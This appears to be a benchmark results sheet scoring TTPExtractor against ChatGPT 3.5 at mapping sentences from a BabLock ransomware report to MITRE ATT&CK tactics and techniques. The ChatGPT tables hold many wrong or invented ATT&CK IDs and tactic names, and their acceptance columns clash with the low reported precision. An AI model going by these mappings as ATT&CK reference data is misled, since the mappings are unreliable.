TTPExtrator vs. ChatGPT

Description

1. The ChatGPT version is 3.5, the test date is 5/5/2023;
2. The test set consists of 5 Chinese reports and 5 English reports, and the final score is obtained after reviewing the predicted results by security experts;
3. Since the technique name and TID cannot be correctly matched when use ChatGPT predicts, it is considered correct if one of the TID or technique name is correct.
4. Index are used to mark prediction results. For example, the prediction result index list is [0,1,2], and the expert review result is [0,2], which means that the results with index 0 and 2 are correct, and the result with index 1 are incorrect.

The Score

model	ChatGPT	TTPExtractor
precesion	0.2015	0.7241
recall	0.4927	0.5769
F1 score	0.2861	0.6422

The Prompt for ChatGPT

请标记出下面文本中所有可以映射 MITRE 技战术（Tactics，Technique）的句子，并说明该句子关联了哪些技战术并给出这些技技术和战术的 ID 和名称。请把你的标记结果输出为 python 中的标准的 json 对象，该对象为一个列表，列表中的每个元素为一个字典对象，字典的格式类似于 {'text': 句子, 'tts': [{'taid': 战术 ID, 'tactic': 战术名称, 'tid': 技术 ID, 'technique': 技术 ID}]}，请务必给出技术 ID 和战术 ID：<报告内容>

Test Report 1 An Analysis of the BabLock Ransomware

URL: https://www.trendmicro.com/en_us/research/23/d/an-analysis-of-the-bablock-ransomware.html

TTPExtractor Infer Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
A malicious sideloaded DLL (DarkLoader, a config.ini decryptor and ransomware injector)	[{'taid': 'TA0003', 'tactic': 'persistence', 'tid': 'T1574.002', 'technique': 'DLLSide-Loading'}]	[['malware', 'DarkLoader']]	1	[0]
A non-malicious executable used to load the malicious DLL	[{'taid': 'TA0003', 'tactic': 'persistence', 'tid': 'T1574.002', 'technique': 'DLLSide-Loading'}]	[]	1	[0]
A CMD file to execute the non-malicious binary using the correct password	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.003', 'technique': 'Windows Command Shell'}]	[]	1	[0]

Once the DLL component is loaded by the non-malicious executable, it will immediately look for the config.ini file in the current executable's path.	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1083', 'technique': 'FileandDirectoryDiscovery'}]	[]	1	[0]
Once this is found, the DLL decrypts config.ini and then executes notepad.exe with a certain set of command lines.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[['malware', 'config.ini']]	1	[0]
DarkLoader is executed via DLL sideloading using legitimate executables.	[{'taid': 'TA0003', 'tactic': 'persistence', 'tid': 'T1574.002', 'technique': 'DLLSide-Loading'}]	[['malware', 'DarkLoader']]	1	[0]
The config.ini file is decrypted by a specially crafted loader designed specifically for these campaigns (detected as Trojan.Win64.DarkLoader)	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]
Any DarkLoader DLL can be used to decrypt any encrypted ransomware config.ini, with no specific binary pairing needed.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[['malware', 'DarkLoader']]	1	[0]
The DarkLoader DLL uses Direct SysCall APIs to a select few, but important, calls to avoid API reading analysis.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1106', 'technique': 'NativeAPI'}]	[['malware', 'DarkLoader']]	1	[0]
The decrypted BabLock ransomware is always packed with VMProtect for anti-virtualization.	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.002', 'technique': '软件加壳'}]	[['malware', 'BabLock']]	1	[0]
The notepad.exe file is injected with an API call thread to RtlTestBit, which has been patched/hooked to jump to the malicious routine	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1055', 'technique': 'ProcessInjection'}]	[]	1	[0]
The notepad.exe file is injected with an API call thread to RtlTestBit, which has been patched/hooked to jump to the malicious routine	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1055', 'technique': 'ProcessInjection'}]	[]	1	[0]
Throughout our initial encounter with BabLock in June 2022, we searched for similar files and found that the earliest record of these files dated back to March 2022.	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1083', 'technique': 'FileandDirectoryDiscovery'}]	[['malware', 'BabLock']]	1	[0]
Finally, BabLock employs publicly available tools as part of its infection chain.	[{'taid': 'TA0042', 'tactic': 'resource-development', 'tid': 'T1588.002', 'technique': 'Tool'}]	[['malware', 'BabLock']]	1	[0]
Chisel - A transmission control protocol (TCP) and user datagram protocol (UDP) tunnel	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1095', 'technique': 'Non-ApplicationLayerProtocol'}]	[]	1	[0]
By using these two tools — combined with BabLock/LockBit possessing the capability to set active directory (AD) Group Policies for easier propagation — it's possible for a malicious actor to navigate around a network without much effor	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1018', 'technique': 'RemoteSystemDiscovery'}]	[]	1	[0]

However, unlike the DarkSide ransomware, BabLock removes shadow copies by executing the following command lines:	[{'taid': 'TA0040', 'tactic': 'impact', 'tid': 'T1490', 'technique': 'InhibitSystemRecovery'}]	[['malware', 'BabLock']]	1	[0]
Therefore, we immediately ruled this relationship out since it's different to the way DarkSide does things, which is deleting shadow copies through Windows Management Instrumentation (WMI) and PowerShell (which is technically more sophisticated and difficult to detect through standard monitoring tools).	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1047', 'technique': 'WindowsManagementInstrumentation'}]	[]	1	[0]
The ransomware binary decrypts and executes the command line to delete shadow copies.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]
The ransomware binary decrypts and executes the command line to delete shadow copies.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]
What we do know is that the threat actor behind BabLock managed to take many of the base capabilities of LockBit v2.0 and added bits and pieces of different ransomware families to create their own unique variant, which could possibly be enhanced further in the future.	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1197', 'technique': 'bits'}]	[['malware', 'BabLock']]	1	[0]

Expert Review Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
A malicious sideloaded DLL (DarkLoader, a config.ini decryptor and ransomware injector)	[{'taid': 'TA0003', 'tactic': 'persistence', 'tid': 'T1574.002', 'technique': 'DLLSide-Loading'}]	[['malware', 'DarkLoader']]	1	[0]
A non-malicious executable used to load the malicious DLL	[{'taid': 'TA0003', 'tactic': 'persistence', 'tid': 'T1574.002', 'technique': 'DLLSide-Loading'}]	[]	1	[0]
A CMD file to execute the non-malicious binary using the correct password	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.003', 'technique': 'Windows Command Shell'}]	[]	1	[0]
Once the DLL component is loaded by the non-malicious executable, it will immediately look for the config.ini file in the current executable's path.	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1083', 'technique': 'FileandDirectoryDiscovery'}]	[]	1	[0]
Once this is found, the DLL decrypts config.ini and then executes notepad.exe with a certain set of command lines.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[['malware', 'config.ini']]	1	[0]
DarkLoader is executed via DLL sideloading using legitimate executables.	[{'taid': 'TA0003', 'tactic': 'persistence', 'tid': 'T1574.002', 'technique': 'DLLSide-Loading'}]	[['malware', 'DarkLoader']]	1	[0]
The config.ini file is decrypted by a specially crafted loader designed specifically for these campaigns (detected as Trojan.Win64.DarkLoader)	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]

Any DarkLoader DLL can be used to decrypt any encrypted ransomware config.ini, with no specific binary pairing needed.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[['malware', 'DarkLoader']]	1	[0]
The DarkLoader DLL uses Direct SysCall APIs to a select few, but important, calls to avoid API reading analysis.	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1106', 'technique': 'NativeAPI'}]	[['malware', 'DarkLoader']]	1	[0]
The decrypted BabLock ransomware is always packed with VMProtect for anti-virtualization.	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1027.002', 'technique': '软件加壳'}]	[['malware', 'BabLock']]	1	[0]
The notepad.exe file is injected with an API call thread to RtlTestBit, which has been patched/hooked to jump to the malicious routine	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1055', 'technique': 'ProcessInjection'}]	[]	1	[0]
Throughout our initial encounter with BabLock in June 2022, we searched for similar files and found that the earliest record of these files dated back to March 2022.	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1083', 'technique': 'FileandDirectoryDiscovery'}]	[['malware', 'BabLock']]	1	[]
Finally, BabLock employs publicly available tools as part of its infection chain.	[{'taid': 'TA0042', 'tactic': 'resource-development', 'tid': 'T1588.002', 'technique': 'Tool'}]	[['malware', 'BabLock']]	1	[0]
Chisel - A transmission control protocol (TCP) and user datagram protocol (UDP) tunnel	[{'taid': 'TA0011', 'tactic': 'command-and-control', 'tid': 'T1095', 'technique': 'Non-ApplicationLayerProtocol'}]	[]	1	[0]
By using these two tools — combined with BabLock/LockBit possessing the capability to set active directory (AD) Group Policies for easier propagation — it's possible for a malicious actor to navigate around a network without much effor	[{'taid': 'TA0007', 'tactic': 'discovery', 'tid': 'T1018', 'technique': 'RemoteSystemDiscovery'}]	[]	1	[0]
However, unlike the DarkSide ransomware, BabLock removes shadow copies by executing the following command lines:	[{'taid': 'TA0040', 'tactic': 'impact', 'tid': 'T1490', 'technique': 'InhibitSystemRecovery'}]	[['malware', 'BabLock']]	1	[0]
Therefore, we immediately ruled this relationship out since it's different to the way DarkSide does things, which is deleting shadow copies through Windows Management Instrumentation (WMI) and PowerShell (which is technically more sophisticated and difficult to detect through standard monitoring tools).	[{'taid': 'TA0002', 'tactic': 'execution', 'tid': 'T1047', 'technique': 'WindowsManagementInstrumentation'}]	[]	1	[0]
The ransomware binary decrypts and executes the command line to delete shadow copies.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]

The ransomware binary decrypts and executes the command line to delete shadow copies.	[{'taid': 'TA0005', 'tactic': 'defense-evasion', 'tid': 'T1140', 'technique': 'DeobfuscateDecodeFilesorInformation'}]	[]	1	[0]
What we do know is that the threat actor behind BabLock managed to take many of the base capabilities of LockBit v2.0 and added bits and pieces of different ransomware families to create their own unique variant, which could possibly be enhanced further in the future.	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1197', 'technique': 'bits'}]	[['malware', 'BabLock']]	1	[]

ChatGPT Infer Result

text	tts	ttps_pred_count	ttps_accept_idx
A ransomware called BabLock (aka Rorschach) has recently been making waves due to its sophisticated and fast-moving attack chain that uses subtle yet effective techniques.	[]	0	[]
Although primarily based on LockBit, the ransomware is a hodgepodge of other different ransomware parts pieced together into what we now call BabLock (detected as Ransom.Win64.LOCKBIT.THGOGBB.enc).	[{'taid': 'TA0012', 'tactic': 'Defense Evasion', 'tid': 'T1583', 'technique': 'Timestomping'}, {'taid': 'TA0009', 'tactic': 'Execution', 'tid': '', 'technique': 'Command-Line Interface'}]	2	[0, 1]
Note, however, that we do not believe that this ransomware originates from the threat actors behind LockBit, which is now in its third iteration.	[]	0	[]
In this blog entry, we look at its attack chain in detail and examine its likely origins.	[]	0	[]
In June 2022, we discovered a ransomware (which turned out to be BabLock) using what appeared to be a unique style of appending extensions, where instead of the normal "one sample, one extension" method commonly used in ransomware attacks, we discovered that the attackers were appending numerical increments from 00-99 on top of the fixed ransomware extension for this specific infection.	[{'taid': 'TA0010', 'tactic': 'Persistence', 'tid': 'T1564', 'technique': 'Hide Artifacts: Hidden File System'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1070', 'technique': 'Indicator Removal on Host: File Deletion'}]	3	[0, 1, 2]
As a result, even on a single infected machine, there could be multiple extension variations from a single execution.	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1486', 'technique': 'Data Encrypted'}]	1	[0]
Our investigation found that the ransomware was always deployed as a multi-component package consisting mostly of the following files:	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1027.002', 'technique': 'Software Packing'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566.002', 'technique': 'Phishing: Spearphishing Attachment'}]	2	[0, 1]
The encrypted ransomware file, config.ini A malicious sideloaded DLL (DarkLoader, a config.ini decryptor and ransomware injector) A non-malicious executable used to load the malicious DLL A CMD file to execute the non-malicious binary using the correct password	[{'taid': 'TA0010', 'tactic': 'Persistence', 'tid': 'T1564', 'technique': 'Hide Artifacts: Hidden File System'}, {'taid': 'TA0005', 'tactic': 'Privilege Escalation', 'tid': 'T1574', 'technique': 'Hijack Execution Flow'}, {'taid': 'TA0007', 'tactic': 'Credential Access', 'tid': 'T1003', 'technique': 'OS Credential Dumping'}]	3	[0, 1, 2]
The DarkLoader DLL will check for specific commands, particularly --run, which checks for the correct 4-digit password needed to start the encryption process.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing: Spearphishing Link'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1036', 'technique': 'Masquerading'}]	2	[0, 1]

Figure 3. If the correct passcode is added to the command line, the ransomware will proceed with the whole encryption process	[{'taid': 'TA0012', 'tactic': 'Defense Evasion', 'tid': 'T1202', 'technique': 'Indirect Command Execution'}]	1	[0]
Once the DLL component is loaded by the non-malicious executable, it will immediately look for the config.ini file in the current executable's path.	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1059.003', 'technique': 'Scheduled Task/Job: Scheduled Task'}, {'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1035.003', 'technique': 'Service Execution: Service Registry Permissions Weakness'}, {'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1546.015', 'technique': 'Component Object Model Hijacking'}]	3	[0, 1, 2]
Once this is found, the DLL decrypts config.ini and then executes notepad.exe with a certain set of command lines.	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[0, 1]
For this particular campaign, we found a few notable and consistent patterns:	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': '', 'technique': 'Deceptive Domain Name System (DNS) Infrastructure'}]	1	[0]
The main ransomware binary is usually delivered as an encrypted config.ini file.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing: Spearphishing Link'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0010', 'tactic': 'Persistence', 'tid': 'T1564', 'technique': 'Hide Artifacts'}]	3	[0, 1, 2]
DarkLoader is executed via DLL sideloading using legitimate executables.	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547.001', 'technique': 'Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1218.011', 'technique': 'Signed Binary Proxy Execution: Compiled HTML File'}]	2	[0, 1]
The config.ini file is decrypted by a specially crafted loader designed specifically for these campaigns (detected as Trojan.Win64.DarkLoader)	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1574.002', 'technique': 'DLL Search Order Hijacking'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1027.002', 'technique': 'Software Packing'}]	2	[0, 1]
BabLock appends a random number from 00 to 99 to the extension string per file within the same infected machine (for example, extn00-extn99 as extensions in the same infection).	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1486', 'technique': 'Data Encrypted'}]	1	[0]
Any DarkLoader DLL can be used to decrypt any encrypted ransomware config.ini, with no specific binary pairing needed.	[{'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
The DarkLoader DLL uses Direct SysCall APIs to a select few, but important, calls to avoid API reading analysis.	[{'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Disabling Security Tools'}]	1	[0]
The decrypted BabLock ransomware is always packed with VMProtect for anti-virtualization.	[{'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion'}]	1	[0]
BabLock is loaded via the threat injection of a hooked API NtdII.RtlTestBit to jump to memory containing the ransomware code.	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1055.012', 'technique': 'Process Injection: Dynamic-link Library	2	[0, 1]

	Injection'}, {'taid': 'TA0009', 'tactic': 'Execution', 'tid': '', 'technique': 'API Hooking'}]		
There have been a few variations of the passcode for --run across different attacks, but all of them are still within a certain range of each other.	[{'taid': 'TA0012', 'tactic': 'Defense Evasion', 'tid': 'T1024', 'technique': 'Custom Cryptographic Protocol'}]	1	[0]
Figure 4. The command line argument supplied to notepad.exe to load and execute the ransomware on recent attacks.	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': '', 'technique': 'Command and Scripting Interpreter: Windows Command Shell'}]	1	[0]
Figure 5. DLL using several direct SysCall instructions to avoid API reading techniques	[{'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Disabling Security Tools: Direct System Calls'}]	1	[0]
Figure 6. The notepad.exe file is injected with an API call thread to RtlTestBit, which has been patched/hooked to jump to the malicious routine	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1055.001', 'technique': 'Process Injection: Dynamic-link Library Injection'}, {'taid': 'TA0009', 'tactic': 'Execution', 'tid': '', 'technique': 'API Hooking'}]	2	[0, 1]
Throughout our initial encounter with BabLock in June 2022, we searched for similar files and found that the earliest record of these files dated back to March 2022. After discovering this, we wanted to find out how it managed to stay under the radar for so long.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1590', 'technique': 'Conduct Active Scanning'}, {'taid': 'TA0020', 'tactic': 'Exfiltration', 'tid': 'T1020', 'technique': 'Automated Exfiltration'}, {'taid': 'TA0020', 'tactic': 'Exfiltration', 'tid': 'T1020.002', 'technique': 'Exfiltration Over SSL'}]	3	[0, 1, 2]
Since June 2022, there have only been a handful of recorded incidents involving the ransomware, including the most recent one. Due to a low number count, no notable statistics involving region, industry, or victim profile have stood out as of the time of writing.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1444', 'technique': 'Data Encrypted for Impact'}]	1	[0]
Figure 7. Distribution of incidents involving the BabLock ransomware	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': '', 'technique': 'Data Destruction: Wiper Malware'}]	1	[0]
However, due to its notable features and characteristics, attacks related to BabLock can be easily identified. As we've already mentioned, after every file encryption, the ransomware appends a random number string between 00-99 to its hardcoded extension. This results in up to 100 different variations of the same ransomware extension.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1566.001', 'technique': 'Phishing: Spearphishing Link'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1486', 'technique': 'Data Encrypted'}]	2	[0, 1]
Figure 8. Code snippet showing a random number string between 00-99 being appended to encrypted files	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1486', 'technique': 'Data Encrypted'}]	1	[0]
It also has a fairly sophisticated execution routine:	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1070', 'technique': 'Indicator Removal on Host: File Deletion'}]	1	[0]
It uses a specific number code to execute properly.	[{'taid': 'TA0009', 'tactic': 'Execution', 'tid': 'T1527.001', 'technique': 'Application Access Token: Windows Tokens'}]	1	[0]
It splits the package into multiple components.	[{'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
It separates and hides the actual payload into an encrypted file.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1486', 'technique': 'Data Encrypted'}]	1	[0]

It uses normal applications as loaders	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1047', 'technique': 'Windows Management Instrumentation Event Subscription'}]	1	[0]
Finally, BabLock employs publicly available tools as part of its infection chain. We found that the most used tools were the following: Chisel - A transmission control protocol (TCP) and user datagram protocol (UDP) tunnel Fscan - A scanning tool By using these two tools — combined with BabLock/LockBit possessing the capability to set active directory (AD) Group Policies for easier propagation — it's possible for a malicious actor to navigate around a network without much effort	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1497.001', 'technique': 'Ingress Tool Transfer'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1090', 'technique': 'Proxy'}]	3	[0, 1, 2]
Comparing and contrasting BabLock to LockBit and other ransomware From our investigation, most of the routines used by BabLock are more closely related to Lockbit (2.0) than any other ransomware. Other researchers also mention similarities to ransomware such as Babuk, Yanluowang and others.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1486', 'technique': 'Data Encrypted'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}]	2	[0, 1]
Figure 9. The ransomware binary decrypts and executes the command line to delete shadow copies.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}]	1	[0]
One of its common characteristics to Lockbit (2.0) would be the use of the same group policy to generate a desktop drop path. Similarly, the use of vssadmin for deleting shadow copies is also a routine heavily used in LockBit attacks (albeit also a common routine for many modern ransomware). Still, the resemblance is uncanny. Furthermore, it is running the same commands to execute GPUpdate for the AD. Due to this, our detection for this ransomware is still under the LockBit family.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1486', 'technique': 'Data Encrypted'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1490', 'technique': 'Inhibit System Recovery'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': 'T1518.001', 'technique': 'Security Software Discovery'}]	4	[0, 1, 2, 3]
Figure 10. Comparing BabLock's group policy for generating the desktop drop path (left) with that of LockBit (right) Figure 10. Comparing BabLock's group policy for generating the desktop drop path (left) with that of LockBit (right) Figure 10. Comparing BabLock's group policy for generating the desktop drop path (left) with that of LockBit (right)	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
From what we can tell, BabLock looks like a Frankenstein-like creation that is stitched together from different known ransomware families.	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
Figure 11. Similarities between BabLock and other ransomware families	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
Our first encounter with BabLock almost coincided with the release of Lockbit v3.0. However, since most of its structure still resembles Lockbit v2.0, we surmise that this may be from another affiliate or group. With nearly a year since the release of LockBit v3.0, we have found no changes to the payload of the BabLock even with recent attacks, further solidifying our stance that they are neither connected nor closely affiliated with the actual LockBit group.	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[0, 1]
What we do know is that the threat actor behind BabLock managed to take many of the base capabilities of LockBit v2.0 and added bits and pieces	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}, {'taid':	2	[0, 1]

of different ransomware families to create their own unique variant, which could possibly be enhanced further in the future.	'TA0040', 'tactic': 'Impact', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]		
Organizations can implement security frameworks to safeguard their systems from similar attacks, which systematically allocate resources to establish a robust defense strategy against ransomware.	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Security Assessment'}, {'taid': 'TA0040', 'tactic': 'Impact', 'tid': '', 'technique': 'Data Encrypted'}]	2	[0, 1]
Taking an inventory of assets and data	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Asset Management'}]	1	[0]
Identifying authorized and unauthorized devices and software	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Network Device and Account Enumeration'}]	1	[0]
Auditing event and incident logs	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': '', 'technique': 'Security Information and Event Management'}]	1	[0]
Managing hardware and software configurations	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Security Configuration Management'}]	1	[0]
Granting admin privileges and access only when necessary to an employee's role	[{'taid': 'TA0007', 'tactic': 'Credential Access', 'tid': 'T1087', 'technique': 'Account Discovery'}]	1	[0]
Monitoring network ports, protocols, and services	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Network Segmentation'}, {'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}]	2	[0, 1]
Establishing a software allowlist that only executes legitimate applications	[{'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Application Control'}]	1	[0]
Implementing data protection, backup, and recovery measures	[{'taid': 'TA0040', 'tactic': 'Impact', 'tid': 'T1487', 'technique': 'Data Backup'}]	1	[0]
Enabling multifactor authentication (MFA)	[{'taid': 'TA0007', 'tactic': 'Credential Access', 'tid': '', 'technique': 'Two-Factor Authentication'}]	1	[0]
Deploying the latest versions of security solutions to all layers of the system, including email, endpoint, web, and network	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': '', 'technique': 'Security Information and Event Management'}, {'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Software Updating and Patching'}, {'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Endpoint Protection'}, {'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Network Segmentation'}, {'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}]	5	[0, 1, 2, 3, 4]
Watching out for early signs of an attack such as the presence of suspicious tools in the system	[{'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1518', 'technique': 'Software Discovery'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1087', 'technique': 'Account Discovery'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1133', 'technique': 'External Remote Services'}, {'taid':	5	[0, 1, 2, 3, 4]

	'TA0003', 'tactic': 'Discovery', 'tid': '', 'technique': 'Security Information and Event Management'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Entrypoint Obscurity'}]		
Implementing a multi-faceted approach can aid organizations in securing potential entry points into their systems such as endpoint, email, web, and network. With the help of security solutions that can identify malevolent elements and questionable activities, enterprises can be safeguarded from ransomware attacks.	[{'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}]	1	[0]
Trend Micro Vision One™provides multilayered protection and behavior detection, which helps block questionable behavior and tools before the ransomware can do any damage.	[{'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}, {'taid': 'TA0003', 'tactic': 'Discovery', 'tid': '', 'technique': 'Security Information and Event Management'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Anti-virus Software'}]	3	[0, 1, 2]
Trend Micro Cloud One™ – Workload Securityprotects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible through techniques such as virtual patching and machine learning.	[{'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}, {'taid': 'TA0004', 'tactic': 'Security Orchestration', 'tid': '', 'technique': 'Software Updating and Patching'}, {'taid': 'TA0006', 'tactic': 'Defense Evasion', 'tid': '', 'technique': 'Host-based Intrusion Prevention Systems'}]	3	[0, 1, 2]
Trend Micro™ Deep Discovery™ Email Inspectoremploys custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware.	[{'taid': 'TA0007', 'tactic': 'Credential Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0002', 'tactic': 'Initial Access', 'tid': 'T1598.002', 'technique': 'Spearphishing Attachment'}, {'taid': 'TA0008', 'tactic': 'Impact', 'tid': '', 'technique': 'Computer and Network Defense-in-Depth'}]	3	[0, 1, 2]
